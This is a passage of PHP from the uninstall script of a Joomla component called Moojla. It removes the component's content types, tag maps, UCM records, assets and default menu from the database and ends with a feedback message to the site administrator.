		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.user_field_map') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$user_field_map_found = $db->getNumRows();
		// Now check if there were any rows
		if ($user_field_map_found)
		{
			// Since there are load the needed  user_field_map type ids
			$user_field_map_ids = $db->loadColumn();
			// Remove User_field_map from the content type table
			$user_field_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.user_field_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($user_field_map_condition);
			$db->setQuery($query);
			// Execute the query to remove User_field_map items
			$user_field_map_done = $db->execute();
			if ($user_field_map_done)
			{
				// If successfully remove User_field_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.user_field_map)
type alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove User_field_map items from the contentitem tag map table
			$user_field_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.user_field_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($user_field_map_condition);
			$db->setQuery($query);
			// Execute the query to remove User_field_map items
			$user_field_map_done = $db->execute();
			if ($user_field_map_done)
			{
				// If successfully remove User_field_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.user_field_map)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove User_field_map items from the ucm content table
			$user_field_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.user_field_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($user_field_map_condition);
			$db->setQuery($query);
			// Execute the query to remove User_field_map items
			$user_field_map_done = $db->execute();
			if ($user_field_map_done)
			{
				// If successfully removed User_field_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.user_field_map)
type alias was removed from the <b>#__ucm_content</b>
table'));
			}

			// Make sure that all the User_field_map items are cleared from DB
			foreach ($user_field_map_ids as $user_field_map_id)
			{
				// Remove User_field_map items from the ucm base table
				$user_field_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$user_field_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($user_field_map_condition);
				$db->setQuery($query);
				// Execute the query to remove User_field_map items
				$db->execute();

				// Remove User_field_map items from the ucm history table
				$user_field_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$user_field_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($user_field_map_condition);
				$db->setQuery($query);
				// Execute the query to remove User_field_map items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Course_group_map alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course_group_map') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$course_group_map_found = $db->getNumRows();
		// Now check if there were any rows
		if ($course_group_map_found)
		{
			// Since there are load the needed  course_group_map type ids
			$course_group_map_ids = $db->loadColumn();
			// Remove Course_group_map from the content type table
			$course_group_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_group_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($course_group_map_condition);
			$db->setQuery($query);
			// Execute the query to remove Course_group_map items
			$course_group_map_done = $db->execute();
			if ($course_group_map_done)
			{
				// If successfully remove Course_group_map add queued success message.
				$app->enqueueMessage(JText::_('The
(com_moojla.course_group_map) type alias was removed from the
<b>#__content_type</b> table'));
			}

			// Remove Course_group_map items from the contentitem tag map table
			$course_group_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_group_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($course_group_map_condition);
			$db->setQuery($query);
			// Execute the query to remove Course_group_map items
			$course_group_map_done = $db->execute();
			if ($course_group_map_done)
			{
				// If successfully remove Course_group_map add queued success message.
				$app->enqueueMessage(JText::_('The
(com_moojla.course_group_map) type alias was removed from the
<b>#__contentitem_tag_map</b> table'));
			}

			// Remove Course_group_map items from the ucm content table
			$course_group_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course_group_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($course_group_map_condition);
			$db->setQuery($query);
			// Execute the query to remove Course_group_map items
			$course_group_map_done = $db->execute();
			if ($course_group_map_done)
			{
				// If successfully removed Course_group_map add queued success message.
				$app->enqueueMessage(JText::_('The
(com_moojla.course_group_map) type alias was removed from the
<b>#__ucm_content</b> table'));
			}

			// Make sure that all the Course_group_map items are cleared from DB
			foreach ($course_group_map_ids as $course_group_map_id)
			{
				// Remove Course_group_map items from the ucm base table
				$course_group_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_group_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($course_group_map_condition);
				$db->setQuery($query);
				// Execute the query to remove Course_group_map items
				$db->execute();

				// Remove Course_group_map items from the ucm history table
				$course_group_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_group_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($course_group_map_condition);
				$db->setQuery($query);
				// Execute the query to remove Course_group_map items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Enrolment alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.enrolment') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$enrolment_found = $db->getNumRows();
		// Now check if there were any rows
		if ($enrolment_found)
		{
			// Since there are load the needed  enrolment type ids
			$enrolment_ids = $db->loadColumn();
			// Remove Enrolment from the content type table
			$enrolment_condition = array( $db->quoteName('type_alias')
. ' = '. $db->quote('com_moojla.enrolment') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($enrolment_condition);
			$db->setQuery($query);
			// Execute the query to remove Enrolment items
			$enrolment_done = $db->execute();
			if ($enrolment_done)
			{
				// If successfully remove Enrolment add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.enrolment) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Enrolment items from the contentitem tag map table
			$enrolment_condition = array( $db->quoteName('type_alias')
. ' = '. $db->quote('com_moojla.enrolment') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($enrolment_condition);
			$db->setQuery($query);
			// Execute the query to remove Enrolment items
			$enrolment_done = $db->execute();
			if ($enrolment_done)
			{
				// If successfully remove Enrolment add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.enrolment) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Enrolment items from the ucm content table
			$enrolment_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.enrolment') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($enrolment_condition);
			$db->setQuery($query);
			// Execute the query to remove Enrolment items
			$enrolment_done = $db->execute();
			if ($enrolment_done)
			{
				// If successfully removed Enrolment add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.enrolment) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the Enrolment items are cleared from DB
			foreach ($enrolment_ids as $enrolment_id)
			{
				// Remove Enrolment items from the ucm base table
				$enrolment_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$enrolment_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($enrolment_condition);
				$db->setQuery($query);
				// Execute the query to remove Enrolment items
				$db->execute();

				// Remove Enrolment items from the ucm history table
				$enrolment_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$enrolment_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($enrolment_condition);
				$db->setQuery($query);
				// Execute the query to remove Enrolment items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Tag alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.tag') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$tag_found = $db->getNumRows();
		// Now check if there were any rows
		if ($tag_found)
		{
			// Since there are load the needed  tag type ids
			$tag_ids = $db->loadColumn();
			// Remove Tag from the content type table
			$tag_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.tag') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($tag_condition);
			$db->setQuery($query);
			// Execute the query to remove Tag items
			$tag_done = $db->execute();
			if ($tag_done)
			{
				// If successfully remove Tag add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.tag) type alias
was removed from the <b>#__content_type</b> table'));
			}

			// Remove Tag items from the contentitem tag map table
			$tag_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.tag') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($tag_condition);
			$db->setQuery($query);
			// Execute the query to remove Tag items
			$tag_done = $db->execute();
			if ($tag_done)
			{
				// If successfully remove Tag add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.tag) type alias
was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Tag items from the ucm content table
			$tag_condition = array( $db->quoteName('core_type_alias') .
' = ' . $db->quote('com_moojla.tag') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($tag_condition);
			$db->setQuery($query);
			// Execute the query to remove Tag items
			$tag_done = $db->execute();
			if ($tag_done)
			{
				// If successfully removed Tag add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.tag) type alias
was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the Tag items are cleared from DB
			foreach ($tag_ids as $tag_id)
			{
				// Remove Tag items from the ucm base table
				$tag_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $tag_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($tag_condition);
				$db->setQuery($query);
				// Execute the query to remove Tag items
				$db->execute();

				// Remove Tag items from the ucm history table
				$tag_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $tag_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($tag_condition);
				$db->setQuery($query);
				// Execute the query to remove Tag items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Tag_instance alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.tag_instance') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$tag_instance_found = $db->getNumRows();
		// Now check if there were any rows
		if ($tag_instance_found)
		{
			// Since there are load the needed  tag_instance type ids
			$tag_instance_ids = $db->loadColumn();
			// Remove Tag_instance from the content type table
			$tag_instance_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.tag_instance') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($tag_instance_condition);
			$db->setQuery($query);
			// Execute the query to remove Tag_instance items
			$tag_instance_done = $db->execute();
			if ($tag_instance_done)
			{
				// If successfully remove Tag_instance add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.tag_instance)
type alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Tag_instance items from the contentitem tag map table
			$tag_instance_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.tag_instance') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($tag_instance_condition);
			$db->setQuery($query);
			// Execute the query to remove Tag_instance items
			$tag_instance_done = $db->execute();
			if ($tag_instance_done)
			{
				// If successfully remove Tag_instance add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.tag_instance)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Tag_instance items from the ucm content table
			$tag_instance_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.tag_instance') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($tag_instance_condition);
			$db->setQuery($query);
			// Execute the query to remove Tag_instance items
			$tag_instance_done = $db->execute();
			if ($tag_instance_done)
			{
				// If successfully removed Tag_instance add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.tag_instance)
type alias was removed from the <b>#__ucm_content</b>
table'));
			}

			// Make sure that all the Tag_instance items are cleared from DB
			foreach ($tag_instance_ids as $tag_instance_id)
			{
				// Remove Tag_instance items from the ucm base table
				$tag_instance_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$tag_instance_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($tag_instance_condition);
				$db->setQuery($query);
				// Execute the query to remove Tag_instance items
				$db->execute();

				// Remove Tag_instance items from the ucm history table
				$tag_instance_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$tag_instance_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($tag_instance_condition);
				$db->setQuery($query);
				// Execute the query to remove Tag_instance items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Section alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.section') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$section_found = $db->getNumRows();
		// Now check if there were any rows
		if ($section_found)
		{
			// Since there are load the needed  section type ids
			$section_ids = $db->loadColumn();
			// Remove Section from the content type table
			$section_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.section') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($section_condition);
			$db->setQuery($query);
			// Execute the query to remove Section items
			$section_done = $db->execute();
			if ($section_done)
			{
				// If successfully remove Section add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.section) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Section items from the contentitem tag map table
			$section_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.section') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($section_condition);
			$db->setQuery($query);
			// Execute the query to remove Section items
			$section_done = $db->execute();
			if ($section_done)
			{
				// If successfully remove Section add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.section) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Section items from the ucm content table
			$section_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.section') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($section_condition);
			$db->setQuery($query);
			// Execute the query to remove Section items
			$section_done = $db->execute();
			if ($section_done)
			{
				// If successfully removed Section add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.section) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the Section items are cleared from DB
			foreach ($section_ids as $section_id)
			{
				// Remove Section items from the ucm base table
				$section_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $section_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($section_condition);
				$db->setQuery($query);
				// Execute the query to remove Section items
				$db->execute();

				// Remove Section items from the ucm history table
				$section_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $section_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($section_condition);
				$db->setQuery($query);
				// Execute the query to remove Section items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Module alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.module') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$module_found = $db->getNumRows();
		// Now check if there were any rows
		if ($module_found)
		{
			// Since there are load the needed  module type ids
			$module_ids = $db->loadColumn();
			// Remove Module from the content type table
			$module_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.module') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($module_condition);
			$db->setQuery($query);
			// Execute the query to remove Module items
			$module_done = $db->execute();
			if ($module_done)
			{
				// If successfully remove Module add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.module) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Module items from the contentitem tag map table
			$module_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.module') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($module_condition);
			$db->setQuery($query);
			// Execute the query to remove Module items
			$module_done = $db->execute();
			if ($module_done)
			{
				// If successfully remove Module add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.module) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Module items from the ucm content table
			$module_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.module') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($module_condition);
			$db->setQuery($query);
			// Execute the query to remove Module items
			$module_done = $db->execute();
			if ($module_done)
			{
				// If successfully removed Module add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.module) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the Module items are cleared from DB
			foreach ($module_ids as $module_id)
			{
				// Remove Module items from the ucm base table
				$module_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $module_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($module_condition);
				$db->setQuery($query);
				// Execute the query to remove Module items
				$db->execute();

				// Remove Module items from the ucm history table
				$module_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $module_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($module_condition);
				$db->setQuery($query);
				// Execute the query to remove Module items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Content alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.content') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$content_found = $db->getNumRows();
		// Now check if there were any rows
		if ($content_found)
		{
			// Since there are load the needed  content type ids
			$content_ids = $db->loadColumn();
			// Remove Content from the content type table
			$content_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.content') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($content_condition);
			$db->setQuery($query);
			// Execute the query to remove Content items
			$content_done = $db->execute();
			if ($content_done)
			{
				// If successfully remove Content add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.content) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Content items from the contentitem tag map table
			$content_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.content') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($content_condition);
			$db->setQuery($query);
			// Execute the query to remove Content items
			$content_done = $db->execute();
			if ($content_done)
			{
				// If successfully remove Content add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.content) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Content items from the ucm content table
			$content_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.content') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($content_condition);
			$db->setQuery($query);
			// Execute the query to remove Content items
			$content_done = $db->execute();
			if ($content_done)
			{
				// If successfully removed Content add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.content) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the Content items are cleared from DB
			foreach ($content_ids as $content_id)
			{
				// Remove Content items from the ucm base table
				$content_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $content_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($content_condition);
				$db->setQuery($query);
				// Execute the query to remove Content items
				$db->execute();

				// Remove Content items from the ucm history table
				$content_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $content_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($content_condition);
				$db->setQuery($query);
				// Execute the query to remove Content items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Category_map alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.category_map') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$category_map_found = $db->getNumRows();
		// Now check if there were any rows
		if ($category_map_found)
		{
			// Since there are load the needed  category_map type ids
			$category_map_ids = $db->loadColumn();
			// Remove Category_map from the content type table
			$category_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.category_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($category_map_condition);
			$db->setQuery($query);
			// Execute the query to remove Category_map items
			$category_map_done = $db->execute();
			if ($category_map_done)
			{
				// If successfully remove Category_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.category_map)
type alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Category_map items from the contentitem tag map table
			$category_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.category_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($category_map_condition);
			$db->setQuery($query);
			// Execute the query to remove Category_map items
			$category_map_done = $db->execute();
			if ($category_map_done)
			{
				// If successfully remove Category_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.category_map)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Category_map items from the ucm content table
			$category_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.category_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($category_map_condition);
			$db->setQuery($query);
			// Execute the query to remove Category_map items
			$category_map_done = $db->execute();
			if ($category_map_done)
			{
				// If successfully removed Category_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.category_map)
type alias was removed from the <b>#__ucm_content</b>
table'));
			}

			// Make sure that all the Category_map items are cleared from DB
			foreach ($category_map_ids as $category_map_id)
			{
				// Remove Category_map items from the ucm base table
				$category_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$category_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($category_map_condition);
				$db->setQuery($query);
				// Execute the query to remove Category_map items
				$db->execute();

				// Remove Category_map items from the ucm history table
				$category_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$category_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($category_map_condition);
				$db->setQuery($query);
				// Execute the query to remove Category_map items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Cohort alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.cohort') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$cohort_found = $db->getNumRows();
		// Now check if there were any rows
		if ($cohort_found)
		{
			// Since there are load the needed  cohort type ids
			$cohort_ids = $db->loadColumn();
			// Remove Cohort from the content type table
			$cohort_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.cohort') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($cohort_condition);
			$db->setQuery($query);
			// Execute the query to remove Cohort items
			$cohort_done = $db->execute();
			if ($cohort_done)
			{
				// If successfully remove Cohort add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.cohort) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Cohort items from the contentitem tag map table
			$cohort_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.cohort') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($cohort_condition);
			$db->setQuery($query);
			// Execute the query to remove Cohort items
			$cohort_done = $db->execute();
			if ($cohort_done)
			{
				// If successfully remove Cohort add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.cohort) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Cohort items from the ucm content table
			$cohort_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.cohort') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($cohort_condition);
			$db->setQuery($query);
			// Execute the query to remove Cohort items
			$cohort_done = $db->execute();
			if ($cohort_done)
			{
				// If successfully removed Cohort add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.cohort) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the Cohort items are cleared from DB
			foreach ($cohort_ids as $cohort_id)
			{
				// Remove Cohort items from the ucm base table
				$cohort_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $cohort_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($cohort_condition);
				$db->setQuery($query);
				// Execute the query to remove Cohort items
				$db->execute();

				// Remove Cohort items from the ucm history table
				$cohort_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $cohort_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($cohort_condition);
				$db->setQuery($query);
				// Execute the query to remove Cohort items
				$db->execute();
			}
		}

		// If All related items was removed queued success message.
		$app->enqueueMessage(JText::_('All related items was removed from
the <b>#__ucm_base</b> table'));
		$app->enqueueMessage(JText::_('All related items was removed from
the <b>#__ucm_history</b> table'));

		// Remove moojla assets from the assets table
		$moojla_condition = array( $db->quoteName('name') . '
LIKE ' . $db->quote('com_moojla%') );

		// Create a new query object.
		$query = $db->getQuery(true);
		$query->delete($db->quoteName('#__assets'));
		$query->where($moojla_condition);
		$db->setQuery($query);
		$cohort_done = $db->execute();
		if ($cohort_done)
		{
			// If successfully removed moojla add queued success message.
			$app->enqueueMessage(JText::_('All related items was removed
from the <b>#__assets</b> table'));
		}

/***[JCBGUI.joomla_component.php_method_uninstall.29.$$$$]***/
require_once
JPATH_ADMINISTRATOR.'/components/com_menus/models/item.php';
require_once
JPATH_ADMINISTRATOR.'/components/com_menus/tables/menu.php' ;

$db = JFactory::getDbo();
$query = $db->getQuery(true);

$query->select('id')->from($db->quoteName('#__menu'))->where($db->quoteName('menutype').'='.$db->quote('moojla_default'));
$db->setQuery($query);
$menuItemIds= $db->loadColumn(0);


$obj= new MenusModelItem;
$obj->publish($menuItemIds,-2);
$obj->delete($menuItemIds);


$query = $db->getQuery(true);

$query->delete($db->quoteName('#__menu_types'))->where($db->quoteName('menutype').'='.$db->quote('moojla_default'));
$db->setQuery($query);
$db->execute();/***[/JCBGUI$$$$]***/


		// little notice as after service, in case of bad experience with
component.
		echo '<h2>Did something go wrong? Are you
disappointed?</h2>
		<p>Please let me know at <a
href="mailto:info@Lmskaran.com">info@Lmskaran.com</a>.
		<br />We at Lmskaran are committed to building extensions that
performs proficiently! You can help us, really!
		<br />Send me your thoughts on improvements that is needed, trust
me, I will be very grateful!
		<br />Visit us at <a href="http://Lmskaran.com"
